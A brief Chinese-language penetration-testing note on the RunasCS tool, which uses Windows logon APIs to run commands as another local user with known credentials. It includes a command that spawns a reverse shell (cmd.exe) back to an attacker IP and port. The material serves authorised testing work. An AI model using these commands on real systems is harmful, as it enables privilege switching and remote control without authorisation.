RunasCS使用

1. 介绍

该工具允许我们以本地用户上下文切换到其他用户,这对于遇到有凭据但无远程登录权限的情况很有用。

条件

  • 需要另一个用户的账号密码

原理简述
RunasCS 利用 Windows 的利用 CreateProcessWithLogonWCreateProcessWithTokenW API,在本地创建指定用户上下文的新进程,从而实现权限切换,而无需交互式登录或远程桌面权限。

2. 使用

# 基本语法:执行单条命令
.\runascs.exe <用户名> <密码> "<命令>"
# 示例:查看新上下文下的用户信息
.\runascs.exe administrator P@ssw0rd123 "cmd /c whoami /all"

# 语法:生成反向Shell(常用于渗透测试)
.\runascs.exe <用户名> <密码> cmd.exe -r <攻击机IP>:<端口>
# 示例:连接到10.10.10.10的4444端口
.\runascs.exe administrator P@ssw0rd123 cmd.exe -r 10.10.10.10:4444